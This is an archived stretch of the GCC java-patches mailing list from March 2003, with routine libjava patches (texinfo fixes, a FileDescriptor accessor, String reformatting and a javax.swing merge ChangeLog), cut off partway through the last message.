gold.csi.cam.ac.uk) (131.111.8.12) by sources.redhat.com with SMTP; 30 Mar 2003 17:03:03 -0000 Received: from student.cusu.cam.ac.uk ([131.111.179.82] helo=kern.srcf.societies.cam.ac.uk ident=mail) by gold.csi.cam.ac.uk with esmtp (Exim 4.12) id 18zgD0-0004HN-00; Sun, 30 Mar 2003 18:03:02 +0100 Received: from jsm28 (helo=localhost) by kern.srcf.societies.cam.ac.uk with local-esmtp (Exim 3.35 #1 (Debian)) id 18zgD0-0004Ut-00; Sun, 30 Mar 2003 18:03:02 +0100 Date: Sun, 30 Mar 2003 18:03:02 +0100 (BST) From: "Joseph S. Myers" X-X-Sender: To: , Subject: Patch for spurious @ at start of manuals Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The fastjar and gcj manuals wrongly start with "@\input texinfo" rather than "\input texinfo", yielding a stray @ on the title page. I've applied the following obvious patch to mainline and 3.3 branch to fix this. fastjar: 2003-03-30 Joseph S. Myers * fastjar.texi: Remove @ at start of file. gcc/java: 2003-03-30 Joseph S. Myers * gcj.texi: Remove @ at start of file. diff -ruN GCC.orig/fastjar/fastjar.texi GCC/fastjar/fastjar.texi --- GCC.orig/fastjar/fastjar.texi 2003-02-04 00:47:55.000000000 +0000 +++ GCC/fastjar/fastjar.texi 2003-03-30 16:20:34.000000000 +0000 @@ -1,4 +1,4 @@ -@\input texinfo @c -*-texinfo-*- +\input texinfo @c -*-texinfo-*- @setfilename fastjar.info @settitle Guide to GNU jar utilites diff -ruN GCC.orig/gcc/java/gcj.texi GCC/gcc/java/gcj.texi --- GCC.orig/gcc/java/gcj.texi 2003-03-23 18:46:11.000000000 +0000 +++ GCC/gcc/java/gcj.texi 2003-03-30 16:20:46.000000000 +0000 @@ -1,4 +1,4 @@ -@\input texinfo @c -*-texinfo-*- +\input texinfo @c -*-texinfo-*- @setfilename gcj.info @settitle Guide to GNU gcj -- Joseph S. Myers jsm28@cam.ac.uk From java-patches-return-6618-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 30 18:14:08 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22923 invoked by alias); 30 Mar 2003 18:14:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22916 invoked from network); 30 Mar 2003 18:14:07 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by sources.redhat.com with SMTP; 30 Mar 2003 18:14:07 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-164.ewetel.net [80.228.73.164]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2UIE5dx000079 for ; Sun, 30 Mar 2003 20:14:06 +0200 (MEST) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18zhHx-00057T-00 for ; Sun, 30 Mar 2003 20:12:13 +0200 From: Michael Koch To: java-patches@gcc.gnu.org Subject: java.io.FileDescriptor enhancement Date: Sun, 30 Mar 2003 19:15:38 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_KRzh+HvILGcHrxo" Message-Id: <200303302015.38877.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_KRzh+HvILGcHrxo Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, java.io.FileDescriptor in classpath has the package-private method=20 getNativeFd() which returns the file descriptor used by the native=20 implementation. I would like to introduce such a method too for the libgcj version to=20 make it easier to use FileDescriptor objects (mainly for java.nio). What do you think about this ? Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+hzRKWSOgCCdjSDsRAswIAJ0c+3ykAkwtt8jXYizFGKeNziG3YQCePcJS g+pfmp1LDe4ZuBGTKpVGeic=3D =3D/dA6 =2D----END PGP SIGNATURE----- --Boundary-00=_KRzh+HvILGcHrxo Content-Type: text/x-diff; charset="iso-8859-15"; name="FileDescriptor.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="FileDescriptor.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1826 diff -u -r1.1826 ChangeLog --- ChangeLog 30 Mar 2003 06:43:44 -0000 1.1826 +++ ChangeLog 30 Mar 2003 18:13:34 -0000 @@ -1,3 +1,8 @@ +2003-03-30 Michael Koch + + * java/io/FileDescriptor.java + (getNativeFd): New method. + 2003-03-29 Eric Blake Tom Tromey --Boundary-00=_KRzh+HvILGcHrxo-- From java-patches-return-6619-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 30 18:18:40 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23452 invoked by alias); 30 Mar 2003 18:18:40 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23445 invoked from network); 30 Mar 2003 18:18:40 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by sources.redhat.com with SMTP; 30 Mar 2003 18:18:40 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-164.ewetel.net [80.228.73.164]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2UIIcdx002134 for ; Sun, 30 Mar 2003 20:18:39 +0200 (MEST) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18zhMN-00057p-00 for ; Sun, 30 Mar 2003 20:16:47 +0200 From: Michael Koch To: java-patches@gcc.gnu.org Subject: Re: java.io.FileDescriptor enhancement [now with correct patch] Date: Sun, 30 Mar 2003 19:20:12 +0100 User-Agent: KMail/1.5 References: <200303302015.38877.konqueror@gmx.de> In-Reply-To: <200303302015.38877.konqueror@gmx.de> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_cVzh+L5U3eMG0ts" Message-Id: <200303302020.12803.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_cVzh+L5U3eMG0ts Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Sonntag, 30. M=E4rz 2003 20:15 schrieb Michael Koch: > Hi list, > > > java.io.FileDescriptor in classpath has the package-private method > getNativeFd() which returns the file descriptor used by the native > implementation. > > I would like to introduce such a method too for the libgcj version > to make it easier to use FileDescriptor objects (mainly for > java.nio). > > What do you think about this ? > > > Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+hzVcWSOgCCdjSDsRAvPIAJ9yCkmBICRfNj9Ic0E9li5aV9cB8wCfTWYU q3qKuIFa/lzFBvyGV/C0yAs=3D =3DH81o =2D----END PGP SIGNATURE----- --Boundary-00=_cVzh+L5U3eMG0ts Content-Type: text/x-diff; charset="iso-8859-15"; name="FileDescriptor.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="FileDescriptor.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1826 diff -u -r1.1826 ChangeLog --- ChangeLog 30 Mar 2003 06:43:44 -0000 1.1826 +++ ChangeLog 30 Mar 2003 18:17:52 -0000 @@ -1,3 +1,8 @@ +2003-03-30 Michael Koch + + * java/io/FileDescriptor.java + (getNativeFd): New method. + 2003-03-29 Eric Blake Tom Tromey Index: java/io/FileDescriptor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileDescriptor.java,v retrieving revision 1.12 diff -u -r1.12 FileDescriptor.java --- java/io/FileDescriptor.java 28 Mar 2003 09:49:44 -0000 1.12 +++ java/io/FileDescriptor.java 30 Mar 2003 18:17:52 -0000 @@ -77,6 +77,11 @@ native int read (byte[] bytes, int offset, int len) throws IOException; native int available () throws IOException; + // Don't do anything crazy with this + int getNativeFd () + { + return fd; + } // When collected, close. protected void finalize () throws Throwable --Boundary-00=_cVzh+L5U3eMG0ts-- From java-patches-return-6620-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 30 21:13:02 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24519 invoked by alias); 30 Mar 2003 21:13:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24506 invoked from network); 30 Mar 2003 21:13:00 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 30 Mar 2003 21:13:00 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3.1) with ESMTP id OAB07211; Sun, 30 Mar 2003 14:12:59 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A44BC4F8692; Sun, 30 Mar 2003 14:08:36 -0700 (MST) To: GCC libjava patches Subject: Patch: FYI: some String reformatting From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I've got a COUSIN who works in the GARMENT DISTRICT... Date: 30 Mar 2003 14:08:35 -0700 Message-ID: <87pto836lo.fsf@fleche.redhat.com> Lines: 574 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. This reformats parts of String to make comparison with Classpath simpler. It also changes some formal argument names for similar reasons. Tom Index: ChangeLog from Tom Tromey * java/lang/String.java: Miscellaneous minor formatting changes to match Classpath more closely. Index: java/lang/String.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/String.java,v retrieving revision 1.21 diff -u -r1.21 String.java --- java/lang/String.java 30 Mar 2003 06:43:45 -0000 1.21 +++ java/lang/String.java 30 Mar 2003 21:11:53 -0000 @@ -159,7 +159,7 @@ * @param str String to copy * @throws NullPointerException if value is null */ - public String (String str) + public String(String str) { data = str.data; boffset = str.boffset; @@ -174,7 +174,7 @@ * @param data char array to copy * @throws NullPointerException if data is null */ - public String (char[] data) + public String(char[] data) { init(data, 0, data.length, false); } @@ -192,7 +192,7 @@ * || offset + count > data.length) * (while unspecified, this is a StringIndexOutOfBoundsException) */ - public String (char[] data, int offset, int count) + public String(char[] data, int offset, int count) { init(data, offset, count, false); } @@ -221,7 +221,7 @@ * @deprecated use {@link #String(byte[], int, int, String)} to perform * correct encoding */ - public String (byte[] ascii, int hibyte, int offset, int count) + public String(byte[] ascii, int hibyte, int offset, int count) { init(ascii, hibyte, offset, count); } @@ -246,7 +246,7 @@ * @deprecated use {@link #String(byte[], String)} to perform * correct encoding */ - public String (byte[] ascii, int hibyte) + public String(byte[] ascii, int hibyte) { init(ascii, hibyte, 0, ascii.length); } @@ -272,10 +272,10 @@ * @throws Error if the decoding fails * @since 1.1 */ - public String (byte[] byteArray, int offset, int count, String enc) + public String(byte[] data, int offset, int count, String encoding) throws UnsupportedEncodingException { - init (byteArray, offset, count, enc); + init (data, offset, count, encoding); } /** @@ -295,10 +295,10 @@ * @see #String(byte[], int, int, String) * @since 1.1 */ - public String (byte[] byteArray, String enc) + public String(byte[] data, String encoding) throws UnsupportedEncodingException { - this (byteArray, 0, byteArray.length, enc); + this (data, 0, data.length, encoding); } /** @@ -319,11 +319,11 @@ * @see #String(byte[], int, int, String) * @since 1.1 */ - public String (byte[] byteArray, int offset, int count) + public String(byte[] data, int offset, int count) { try { - init (byteArray, offset, count, + init (data, offset, count, System.getProperty("file.encoding", "8859_1")); } catch (UnsupportedEncodingException x1) @@ -331,7 +331,7 @@ // Maybe the default encoding is bad. try { - init (byteArray, offset, count, "8859_1"); + init (data, offset, count, "8859_1"); } catch (UnsupportedEncodingException x2) { @@ -355,9 +355,9 @@ * @see #String(byte[], int, int, String) * @since 1.1 */ - public String (byte[] byteArray) + public String(byte[] data) { - this (byteArray, 0, byteArray.length); + this (data, 0, data.length); } /** @@ -367,7 +367,7 @@ * @param buffer StringBuffer to copy * @throws NullPointerException if buffer is null */ - public String (StringBuffer buffer) + public String(StringBuffer buffer) { synchronized (buffer) { @@ -386,7 +386,7 @@ * @throws NullPointerException if chars is null * @throws StringIndexOutOfBoundsException if bounds check fails */ - String (char[] data, int offset, int count, boolean dont_copy) + String(char[] data, int offset, int count, boolean dont_copy) { init(data, offset, count, dont_copy); } @@ -394,7 +394,7 @@ // This is used by gnu.gcj.runtime.StringBuffer, so it must have // package-private protection. It is accessed via CNI and so avoids // ordinary protection mechanisms. - String (gnu.gcj.runtime.StringBuffer buffer) + String(gnu.gcj.runtime.StringBuffer buffer) { // No need to synchronize or mark the buffer, since we know it is // only used once. @@ -419,7 +419,7 @@ * @throws IndexOutOfBoundsException if index < 0 || index >= length() * (while unspecified, this is a StringIndexOutOfBoundsException) */ - public native char charAt (int index); + public native char charAt(int index); /** * Copies characters from this String starting at a specified start index, @@ -436,8 +436,8 @@ * StringIndexOutOfBoundsException, and dst problems cause an * ArrayIndexOutOfBoundsException) */ - public native void getChars (int srcBegin, int srcEnd, - char[] dst, int dstBegin); + public native void getChars(int srcBegin, int srcEnd, + char[] dst, int dstBegin); /** * Copies the low byte of each character from this String starting at a @@ -457,8 +457,8 @@ * @see #getBytes(String) * @deprecated use {@link #getBytes()}, which uses a char to byte encoder */ - public native void getBytes (int srcBegin, int srcEnd, - byte[] dst, int dstBegin); + public native void getBytes(int srcBegin, int srcEnd, + byte[] dst, int dstBegin); /** * Converts the Unicode characters in this String to a byte array. Uses the @@ -474,7 +474,7 @@ * @throws UnsupportedEncodingException if encoding is not supported * @since 1.1 */ - public native byte[] getBytes (String enc) + public native byte[] getBytes(String enc) throws UnsupportedEncodingException; /** @@ -487,7 +487,7 @@ * @return the resulting byte array, or null on a problem * @since 1.1 */ - public byte[] getBytes () + public byte[] getBytes() { try { @@ -519,7 +519,7 @@ * @see #compareTo(String) * @see #equalsIgnoreCase(String) */ - public native boolean equals (Object anObject); + public native boolean equals(Object anObject); /** * Compares the given StringBuffer to this String. This is true if the @@ -549,7 +549,7 @@ * @see Character#toUpperCase(char) * @see Character#toLowerCase(char) */ - public native boolean equalsIgnoreCase (String anotherString); + public native boolean equalsIgnoreCase(String anotherString); /** * Compares this String and another String (case sensitive, @@ -565,7 +565,7 @@ * @return the comparison * @throws NullPointerException if anotherString is null */ - public native int compareTo (String anotherString); + public native int compareTo(String anotherString); /** * Behaves like compareTo(java.lang.String) unless the Object @@ -597,7 +597,7 @@ * @see Collator#compare(String, String) * @since 1.2 */ - public int compareToIgnoreCase (String str) + public int compareToIgnoreCase(String str) { return this.toUpperCase().toLowerCase().compareTo( str.toUpperCase().toLowerCase()); @@ -616,8 +616,8 @@ * @return true if regions match (case sensitive) * @throws NullPointerException if other is null */ - public native boolean regionMatches (int toffset, - String other, int ooffset, int len); + public native boolean regionMatches(int toffset, + String other, int ooffset, int len); /** * Predicate which determines if this String matches another String @@ -636,8 +636,8 @@ * @return true if regions match, false otherwise * @throws NullPointerException if other is null */ - public native boolean regionMatches (boolean ignoreCase, int toffset, - String other, int ooffset, int len); + public native boolean regionMatches(boolean ignoreCase, int toffset, + String other, int ooffset, int len); /** * Predicate which determines if this String contains the given prefix, @@ -651,7 +651,7 @@ * @throws NullPointerException if prefix is null * @see #regionMatches(boolean, int, String, int, int) */ - public native boolean startsWith (String prefix, int toffset); + public native boolean startsWith(String prefix, int toffset); /** * Predicate which determines if this String starts with a given prefix. @@ -662,7 +662,7 @@ * @throws NullPointerException if prefix is null * @see #startsWith(String, int) */ - public boolean startsWith (String prefix) + public boolean startsWith(String prefix) { return startsWith (prefix, 0); } @@ -676,7 +676,7 @@ * @throws NullPointerException if suffix is null * @see #regionMatches(boolean, int, String, int, int) */ - public boolean endsWith (String suffix) + public boolean endsWith(String suffix) { return regionMatches (this.count - suffix.count, suffix, 0, suffix.count); } @@ -688,7 +688,7 @@ * * @return hashcode value of this String */ - public native int hashCode (); + public native int hashCode(); /** * Finds the first instance of a character in this String. @@ -696,9 +696,9 @@ * @param ch character to find * @return location (base 0) of the character, or -1 if not found */ - public int indexOf (int ch) + public int indexOf(int ch) { - return indexOf (ch, 0); + return indexOf(ch, 0); } /** @@ -711,7 +711,7 @@ * @param fromIndex index to start the search * @return location (base 0) of the character, or -1 if not found */ - public native int indexOf (int ch, int fromIndex); + public native int indexOf(int ch, int fromIndex); /** * Finds the last instance of a character in this String. @@ -719,7 +719,7 @@ * @param ch character to find * @return location (base 0) of the character, or -1 if not found */ - public int lastIndexOf (int ch) + public int lastIndexOf(int ch) { return lastIndexOf (ch, count - 1); } @@ -734,7 +734,7 @@ * @param fromIndex index to start the search * @return location (base 0) of the character, or -1 if not found */ - public native int lastIndexOf (int ch, int fromIndex); + public native int lastIndexOf(int ch, int fromIndex); /** * Finds the first instance of a String in this String. @@ -743,9 +743,9 @@ * @return location (base 0) of the String, or -1 if not found * @throws NullPointerException if str is null */ - public int indexOf (String str) + public int indexOf(String str) { - return indexOf (str, 0); + return indexOf(str, 0); } /** @@ -759,7 +759,7 @@ * @return location (base 0) of the String, or -1 if not found * @throws NullPointerException if str is null */ - public native int indexOf (String str, int fromIndex); + public native int indexOf(String str, int fromIndex); /** * Finds the last instance of a String in this String. @@ -768,7 +768,7 @@ * @return location (base 0) of the String, or -1 if not found * @throws NullPointerException if str is null */ - public int lastIndexOf (String str) + public int lastIndexOf(String str) { return lastIndexOf (str, count - str.count); } @@ -784,7 +784,7 @@ * @return location (base 0) of the String, or -1 if not found * @throws NullPointerException if str is null */ - public int lastIndexOf (String str, int fromIndex) + public int lastIndexOf(String str, int fromIndex) { if (fromIndex >= count) fromIndex = count - str.count; @@ -806,7 +806,7 @@ * @throws IndexOutOfBoundsException if begin < 0 || begin > length() * (while unspecified, this is a StringIndexOutOfBoundsException) */ - public String substring (int beginIndex) + public String substring(int beginIndex) { return substring (beginIndex, count); } @@ -822,7 +822,7 @@ * || begin > end (while unspecified, this is a * StringIndexOutOfBoundsException) */ - public native String substring (int beginIndex, int endIndex); + public native String substring(int beginIndex, int endIndex); /** * Creates a substring of this String, starting at a specified index @@ -849,7 +849,7 @@ * @return newly concatenated String * @throws NullPointerException if str is null */ - public native String concat (String str); + public native String concat(String str); /** * Replaces every instance of a character in this String with a new @@ -859,7 +859,7 @@ * @param newChar the new character * @return new String with all instances of oldChar replaced with newChar */ - public native String replace (char oldChar, char newChar); + public native String replace(char oldChar, char newChar); /** * Test if this String matches a regular expression. This is shorthand for @@ -990,7 +990,7 @@ * @see #toUpperCase(Locale) * @since 1.1 */ - public native String toLowerCase (Locale locale); + public native String toLowerCase(Locale locale); /** * Lowercases this String. This uses Unicode's special case mappings, as @@ -1001,7 +1001,7 @@ * @see #toLowerCase(Locale) * @see #toUpperCase() */ - public String toLowerCase () + public String toLowerCase() { // The JDK is a bit confused about what to do here. If we pass in // the default Locale then special Locale handling might be @@ -1021,7 +1021,7 @@ * @see #toLowerCase(Locale) * @since 1.1 */ - public native String toUpperCase (Locale locale); + public native String toUpperCase(Locale locale); /** * Uppercases this String. This uses Unicode's special case mappings, as @@ -1032,7 +1032,7 @@ * @see #toUpperCase(Locale) * @see #toLowerCase() */ - public String toUpperCase () + public String toUpperCase() { // The JDK is a bit confused about what to do here. If we pass in // the default Locale then special Locale handling might be @@ -1049,14 +1049,14 @@ * * @return new trimmed String, or this if nothing trimmed */ - public native String trim (); + public native String trim(); /** * Returns this, as it is already a String! * * @return this */ - public String toString () + public String toString() { return this; } @@ -1067,7 +1067,7 @@ * * @return character array copying the String */ - public native char[] toCharArray (); + public native char[] toCharArray(); /** * Returns a String representation of an Object. This is "null" if the @@ -1077,7 +1077,7 @@ * @param obj the Object * @return the string conversion of obj */ - public static String valueOf (Object obj) + public static String valueOf(Object obj) { return obj == null ? "null" : obj.toString(); } @@ -1092,7 +1092,7 @@ * @see #valueOf(char[], int, int) * @see #String(char[]) */ - public static String valueOf (char[] data) + public static String valueOf(char[] data) { return valueOf (data, 0, data.length); } @@ -1112,7 +1112,7 @@ * (while unspecified, this is a StringIndexOutOfBoundsException) * @see #String(char[], int, int) */ - public static native String valueOf (char[] data, int offset, int count); + public static native String valueOf(char[] data, int offset, int count); /** * Returns a String representing the character sequence of the char array, @@ -1157,7 +1157,7 @@ * @param b the boolean * @return "true" if b is true, else "false" */ - public static String valueOf (boolean b) + public static String valueOf(boolean b) { return b ? "true" : "false"; } @@ -1168,7 +1168,7 @@ * @param c the character * @return String containing the single character c */ - public static native String valueOf (char c); + public static native String valueOf(char c); /** * Returns a String representing an integer. @@ -1177,7 +1177,7 @@ * @return String containing the integer in base 10 * @see Integer#toString(int) */ - public static native String valueOf (int i); + public static native String valueOf(int i); /** * Returns a String representing a long. @@ -1186,7 +1186,7 @@ * @return String containing the long in base 10 * @see Long#toString(long) */ - public static String valueOf (long l) + public static String valueOf(long l) { return Long.toString(l); } @@ -1198,7 +1198,7 @@ * @return String containing the float * @see Float#toString(float) */ - public static String valueOf (float f) + public static String valueOf(float f) { return Float.toString(f); } @@ -1210,7 +1210,7 @@ * @return String containing the double * @see Double#toString(double) */ - public static String valueOf (double d) + public static String valueOf(double d) { return Double.toString(d); } @@ -1224,13 +1224,13 @@ * * @return the interned String */ - public native String intern (); + public native String intern(); - private native void init (char[] chars, int offset, int count, - boolean dont_copy); - private native void init (byte[] chars, int hibyte, int offset, int count); - private native void init (byte[] chars, int offset, int count, String enc) + private native void init(char[] chars, int offset, int count, + boolean dont_copy); + private native void init(byte[] chars, int hibyte, int offset, int count); + private native void init(byte[] chars, int offset, int count, String enc) throws UnsupportedEncodingException; - private static native void rehash (); + private static native void rehash(); } From java-patches-return-6621-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 31 01:03:17 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1552 invoked by alias); 31 Mar 2003 01:03:17 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1542 invoked from network); 31 Mar 2003 01:03:17 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 31 Mar 2003 01:03:17 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3.1) with ESMTP id SAA12485; Sun, 30 Mar 2003 18:03:13 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 7C01C4F8692; Sun, 30 Mar 2003 17:58:38 -0700 (MST) To: GCC libjava patches Subject: Patch: FYI: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Uh-oh!! I'm having TOO MUCH FUN!! Date: 30 Mar 2003 17:58:37 -0700 Message-ID: <87adfc2vya.fsf@fleche.redhat.com> Lines: 116 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. This merges more of String with Classpath. It adds some documentation, a few cosmetic changes, plus a change to not share a StringBuffer's value if the sharable part is small relative to the size of the buffer. Tom Index: ChangeLog from Tom Tromey * java/lang/String.java (data, boffset, count): Documented. (String(byte[],String)): Reformatted. (String(byte[])): Likewise. (lastIndexOf(int)): Likewise. (lastIndexOf(String)): Likewise. (substring(int)): Renamed argument to match Classpath. (String(StringBuffer)): Don't share buffer if it is nearly empty. Index: java/lang/String.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/String.java,v retrieving revision 1.22 diff -u -r1.22 String.java --- java/lang/String.java 30 Mar 2003 21:14:32 -0000 1.22 +++ java/lang/String.java 31 Mar 2003 01:01:07 -0000 @@ -84,8 +84,26 @@ */ private static final long serialVersionUID = -6849794470754667710L; + /** + * This is the object that holds the characters that make up the + * String. It might be a char[], or it could be String. It could + * even be `this'. The actual characters can't be located using + * pure Java code. + * @see #boffset + */ private Object data; - private int boffset; // Note this is a byte offset - don't use in Java code! + + /** + * This is a byte offset of the actual characters from + * the start of the character-holding object. Don't use this field + * in Java code. + */ + private int boffset; + + /** + * Holds the number of characters in value. Package visible for use + * by trusted code. + */ int count; /** @@ -298,7 +316,7 @@ public String(byte[] data, String encoding) throws UnsupportedEncodingException { - this (data, 0, data.length, encoding); + this(data, 0, data.length, encoding); } /** @@ -357,7 +375,7 @@ */ public String(byte[] data) { - this (data, 0, data.length); + this(data, 0, data.length); } /** @@ -371,8 +389,11 @@ { synchronized (buffer) { - buffer.shared = true; - init (buffer.value, 0, buffer.count, true); + // Share unless buffer is 3/4 empty. + boolean should_copy = ((buffer.count << 2) < buffer.value.length); + if (! should_copy) + buffer.shared = true; + init (buffer.value, 0, buffer.count, ! should_copy); } } @@ -721,7 +742,7 @@ */ public int lastIndexOf(int ch) { - return lastIndexOf (ch, count - 1); + return lastIndexOf(ch, count - 1); } /** @@ -770,7 +791,7 @@ */ public int lastIndexOf(String str) { - return lastIndexOf (str, count - str.count); + return lastIndexOf(str, count - str.count); } /** @@ -806,9 +827,9 @@ * @throws IndexOutOfBoundsException if begin < 0 || begin > length() * (while unspecified, this is a StringIndexOutOfBoundsException) */ - public String substring(int beginIndex) + public String substring(int begin) { - return substring (beginIndex, count); + return substring(begin, count); } /** From java-patches-return-6622-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 31 06:29:17 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26558 invoked by alias); 31 Mar 2003 06:29:16 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26551 invoked from network); 31 Mar 2003 06:29:15 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by sources.redhat.com with SMTP; 31 Mar 2003 06:29:15 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-68-168.ewetel.net [80.228.68.168]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2V6TB8G009715 for ; Mon, 31 Mar 2003 08:29:11 +0200 (MEST) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18zslJ-0005NN-00 for ; Mon, 31 Mar 2003 08:27:17 +0200 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: javax.swing - merges from classpath Date: Mon, 31 Mar 2003 08:30:39 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_PC+h+pocQN4g3dA" Message-Id: <200303310830.42877.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_PC+h+pocQN4g3dA Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attache patch to trunk to merge javax.swing again with=20 classpath. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+h+CSWSOgCCdjSDsRAiiSAJ9iaxU/o4m+v6aEHSmwu7xKzqBYMwCfTZ9U rw1Un47ZhF8N5kY4ccMsk/g=3D =3DacU/ =2D----END PGP SIGNATURE----- --Boundary-00=_PC+h+pocQN4g3dA Content-Type: text/x-diff; charset="iso-8859-15"; name="swing.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="swing.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1826 diff -u -r1.1826 ChangeLog --- ChangeLog 30 Mar 2003 06:43:44 -0000 1.1826 +++ ChangeLog 31 Mar 2003 06:27:20 -0000 @@ -1,3 +1,46 @@ +2003-03-31 Michael Koch + + * javax/swing/AbstractCellEditor.java, + javax/swing/AbstractListModel.java, + javax/swing/ActionMap.java, + javax/swing/BorderFactory.java, + javax/swing/ButtonGroup.java, + javax/swing/DefaultBoundedRangeModel.java, + javax/swing/DefaultButtonModel.java, + javax/swing/DefaultCellEditor.java, + javax/swing/DefaultComboBoxModel.java, + javax/swing/DefaultDesktopManager.java, + javax/swing/DefaultListCellRenderer.java, + javax/swing/DefaultSingleSelectionModel.java, + javax/swing/InputMap.java, + javax/swing/JComponent.java, + javax/swing/JMenu.java, + javax/swing/JSlider.java, + javax/swing/KeyStroke.java, + javax/swing/OverlayLayout.java, + javax/swing/ScrollPaneLayout.java, + javax/swing/SizeRequirements.java, + javax/swing/UIManager.java, + javax/swing/ViewportLayout.java, + javax/swing/border/AbstractBorder.java, + javax/swing/colorchooser/DefaultColorSelectionModel.java, + javax/swing/event/EventListenerList.java, + javax/swing/table/AbstractTableModel.java, + javax/swing/table/DefaultTableCellRenderer.java, + javax/swing/table/DefaultTableColumnModel.java, + javax/swing/table/DefaultTableModel.java, + 